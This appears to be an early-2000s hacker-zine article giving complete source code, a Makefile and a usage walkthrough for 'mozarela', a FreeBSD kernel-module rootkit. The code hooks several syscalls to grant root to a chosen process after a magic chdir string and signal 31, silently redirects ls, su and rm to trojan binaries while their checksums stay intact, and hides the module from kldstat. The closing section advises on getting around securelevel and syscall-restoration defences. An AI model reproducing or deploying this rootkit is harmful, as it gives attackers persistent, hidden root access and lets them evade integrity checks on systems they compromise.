|
[Mozarela Kernal Trojan]=================================================[arkmp] -- M O Z A R E L A K E R N E L T R O J A N -- -- for FreeBSD 4.x -- hi, other info about kernel loadable under freebsd can be found at http://www.thehackerschoice.com on the Pragmatic's tutorial. Usually we see linux rootkit placed on kernel module, but for freebsd 4.x isn't ever coded nothing. This code (after the code you may find some explanation) is a simple freebsd rootkit named "mozarela" with some functions. ------------------------------------------------- cut here ----------- #include <sys/param.h> #include <sys/proc.h> #include <sys/module.h> #include <sys/kernel.h> #include <sys/systm.h> #include <sys/malloc.h> #include <sys/syscall.h> #include <sys/sysent.h> #include <sys/sysproto.h> #include <sys/linker.h> #include <sys/systm.h> /* * $mozarela coded 26/01/2001 - some parts of code and ideas are from * vecna@s0ftpj.org and him "spapem" (anti securelevel project) * http://www.s0ftpj.org some info are from "Attacking FreeBSD with kernel * modules" by Pragmatic (THC) http://www.thehackerschoice.com */ #define MOD_NAME "mozarela.ko" struct couple { char oldexec[32]; char newexec[32]; }; static int super_power, mozarela_warn; static void check_dirname(struct proc *, char *, int); static int mozarela_chdir(struct proc *p, struct chdir_args *uap) { check_dirname(p, uap->path, strlen(uap->path)); return chdir(p, uap); } static int mozarela_kill(struct proc *p, struct kill_args *uap) { if(super_power && uap->signum == 31) { struct proc *magic; if(!(magic =pfind(uap->pid))) return ESRCH; else { magic->p_cred->pc_ucred->cr_uid =0; magic->p_cred->p_ruid =0; magic->p_cred->p_svuid =0; magic->p_cred->p_rgid =0; magic->p_cred->p_svuid =0; super_power =0; return(0); } } else return kill(p, uap); } static int mozarela_execve(struct proc *p, struct execve_args *uap) { if(uap->fname !=NULL) { static struct couple execred[3] = { { "/bin/ls","/dev/a" }, { "/bin/su","/dev/b" }, { "/bin/rm","/dev/c" } /* * READ READ READ READ article before ANY CHANGE - if you put * the second name bigger than first you may cause kernel panic */ }; int size =sizeof(execred) / sizeof(struct couple); while(size >= 0) { if(!strcmp(execred[--size].oldexec, uap->fname)) { memcpy(uap->fname, &execred[size].newexec, sizeof(execred[size].newexec)); uap->fname[sizeof(execred[size].newexec)+1]=0; } } } return execve(p, uap); } static int mozarela_kldstat(struct proc *p, struct kldstat_args *uap) { int ret = kldstat(p, uap); if(!ret && uap->stat->name !=NULL) if(!strcmp(uap->stat->name, MOD_NAME)) mozarela_warn =p->p_pid; return ret; } static int mozarela_write(struct proc *p, struct write_args *uap) { if(mozarela_warn && mozarela_warn == p->p_pid) mozarela_warn =uap->nbyte =0; return write(p, uap); } static struct sysent mozarela[5] = { { 1, (sy_call_t *) mozarela_chdir }, { 2, (sy_call_t *) mozarela_kill }, { 3, (sy_call_t *) mozarela_execve }, { 3, (sy_call_t *) mozarela_write }, { 2, (sy_call_t *) mozarela_kldstat } }; static int init_module(module_t mod, int cmd, void *arg) { int ret = 0; switch (cmd) { case MOD_LOAD: sysent[SYS_chdir] =mozarela[0]; sysent[SYS_kill] =mozarela[1]; sysent[SYS_execve] =mozarela[2]; sysent[SYS_write] =mozarela[3]; sysent[SYS_kldstat] =mozarela[4]; uprintf("mozarela loadated\n"); break; case MOD_UNLOAD: sysent[SYS_chdir].sy_call =(sy_call_t *)chdir; sysent[SYS_kill].sy_call =(sy_call_t *)kill; sysent[SYS_execve].sy_call =(sy_call_t *)execve; sysent[SYS_write].sy_call =(sy_call_t *)write; sysent[SYS_kldstat].sy_call =(sy_call_t *)kldstat; break; default: ret = EINVAL; break; } return(ret); } static struct moduledata mozarela_moddata = { "mozarela", init_module, NULL }; DECLARE_MODULE(syscall, mozarela_moddata, SI_SUB_DRIVERS, SI_ORDER_MIDDLE); static void check_dirname(struct proc *p, char *dir, int len) { if(len != 3) return; /* * "cd \*CC" can activate kill trojan */ if(dir[0] == '*' && dir[1] == 'C' && dir[2] == 'C') super_power++; } ------------------------------------------------- cut here ----------- on this code we can find redirection of this system call: chdir kill execve write kldstat sometime chdir is used for change working directory, kill for send signal to a process, execve for execute executable file, write for any writing procedure (file socket standard output ...) kldstat to see started module. this kld have this special abilities: 1) change uid/gid/euid/egid to root to specificated process. 2) make exec redirection, you may put some troian under /usr/share/man9/CVS/ or other directory and redir execution ... example ... if you want execute your login troian usually copy your troian over /bin/login, but a checksum checker can discover it (because the md5sum of file is been changed) with this system you may put new binary and execute this also keeping original binary file :) 3) make hiding self. other implementation if think that are superflue, because with execve redir you may truly make anything... if you want hide your files i can code redirection of getdirentries(2) or getdents(2) but is more easy and lower dangerous put you ls trojan and redir execution, some for login, w, netstat and others, on /usr/src/ you may find all freebsd source is very simple change it for various pourpose :) -- L I T T L E K L D I N F O -- The kld can modify ANY block of kernel, btw sometimes kld redir syscall or cdevsw functions, or other simple pointer to function on linked file. If you want make an idea with ALL syscall that you can redir, you can see /usr/src/sys/sys/syscall.h, you can search how system call is used whit /usr/share/man/man2/* man pages and with utility ktrace and kdump you may find how syscall is used under program (if you don't want grep on the code or if code use a wrapper) with # ktrace ./code args args # kdump | more and read all system call used during execution. i don't explain internals of coding at kernel space under freebsd, but any system call can be redirect as function pointer, as argument any system call take: function_name(struct proc *, struct [system_call_name]_args *); on [system_call_name]_args you may find the argument passed from userspace... eg. kill(2) have prototipe as: kill(int, int); kill_args struct is a struct with 2 int declared inside. usually for find the original code I use grep [system_call_name]_args /usr/src/sys/kern/*.c this info can help you on the comprension of kld functions, you may find on the kernel source any other question, if you want hack this simple kld only two or three houres to hack can resolve your problem, if you wannabe a kernel hacker, i suggest to subscribe at freebsd-hackers@FreeBSD.ORG with majordomo@freebsd.org, read any kernel papers on www.freebsdzine.org (GREAT! :) and read a lots of kernel code :) -- H O W U S E M O Z A R E L A -- # ls -l lrwxr-xr-x 1 root wheel 12 Jan 27 18:38 @ -> /usr/include -rw-r--r-- 1 root wheel 157 Jan 26 16:24 Makefile -rw-r--r-- 1 arkmp arkmp 6214 Jan 29 15:26 arkmp.kv11 -rw-r--r-- 1 root wheel 4447 Jan 27 21:32 mozarela.c -rwxr-xr-x 1 root wheel 4937 Jan 27 21:32 mozarela.ko -rwxr-xr-x 1 root wheel 24937 Jan 27 21:32 my_ls # mkdir ARK # mv my_ls ARK # ln -s /dev/a /home/arkmp/keen/ARK/my_ls # ls -l /dev/a lrwxr-xr-x 1 root wheel 13 Jan 22 01:50 /dev/a -> /home/arkmp/keen/ARK/my_ls # kldload ./mozarela.ko mozarela loadated # ls -l lrwxr-xr-x 1 root wheel 12 Jan 27 18:38 @ -> /usr/include -rw-r--r-- 1 root wheel 157 Jan 26 16:24 Makefile -rw-r--r-- 1 arkmp arkmp 6214 Jan 29 15:26 arkmp.kv11 -rw-r--r-- 1 root wheel 4447 Jan 27 21:32 mozarela.c -rwxr-xr-x 1 root wheel 4937 Jan 27 21:32 mozarela.ko (and ARK my dir isn't appears because my_ls trojan DON'T SHOW file/dir with ARK on name, and /bin/ls isn't modify, md5sum appears intact, but isn't execute :) # ps axu [cut] root 203 0.0 6.0 2092 1240 ?? Is 2:19PM 0:03.43 telnetd arkmp 204 0.0 1.7 488 340 p0 Is 2:19PM 0:00.14 -csh (csh) arkmp 251 0.0 6.6 1588 1368 p0 I+ 3:08PM 0:04.73 vi arkmp.kv11 root 296 0.0 6.3 2092 1312 ?? Ss 4:11PM 0:00.24 telnetd arkmp 297 0.0 1.7 488 356 p1 Is 4:11PM 0:00.13 -csh (csh) root 314 0.0 1.7 480 348 p1 S 4:17PM 0:00.11 _su (csh) root 0 0.0 0.0 0 0 ?? DLs 2:01PM 0:00.01 (swapper) # cd \*CC *CC: No such file or directory. # kill -31 251 # ps axu | grep vi root 251 0.0 6.6 1588 1368 p0 I+ 3:08PM 0:04.94 vi arkmp.kv11 # and my session has now uid/gid euid/egid 0 :) why i use symbolic link ? because, for make more little kld my function for redire execve contains the follow code: static struct couple execred[3] = { { "/bin/ls","/dev/a" }, { "/bin/su","/dev/b" }, { "/bin/rm","/dev/c" } }; int size =sizeof(execred) / sizeof(struct couple); while(size >= 0) { if(!strcmp(execred[--size].oldexec, uap->fname)) { memcpy(uap->fname, &execred[size].newexec, sizeof(execred[size].newexec)); uap->fname[sizeof(execred[size].newexec)+1]=0; } } you may see that if the second name is more bigger than first name, the function: memcpy(uap->fname, &execred[size].newexec, sizeof(execred[size].newexec)); can overflow uap->fname buffer. put a symlink isn't a big problem with a trojan ls you may hide it on 3 seconds the Makefile: ------------------------------------------------- cut here ----------- SRCS = mozarela.c KMOD = mozarela KO = mozarela.ko KLDMOD = t KERN = /usr/src/sys/kern .include <bsd.kmod.mk> ------------------------------------------------- cut here ----------- any kld could have a lots of implentation, i can't discute here, there are a lots of example on the linux/freebsd/solaris kernel programming tutorials from THC group and a lots of example and study from s0ftpj group. -- L A S T W O R D A B O U T I N F I N I T E W A R -- crackers create rootkit, security man create md5sum crackers create execve redirection security man create securelevel and syscall ripristination the securelevel maybe explained on various man pages on freebsd, syscall ripristination is explained on paper of Pragmatic, syscall ripristination IMHO can be fucked with monitoring of kldload() and kldfind() for DROP any module loaded after mozarela or some other trojan on the kernel (not on other linked file!) securelevel can be fucked with a spapem packages coded by vecna (you may find info about on the README file on http://www.s0ftpj.org/tools/spapem.tar.gz) that's all, for this time :)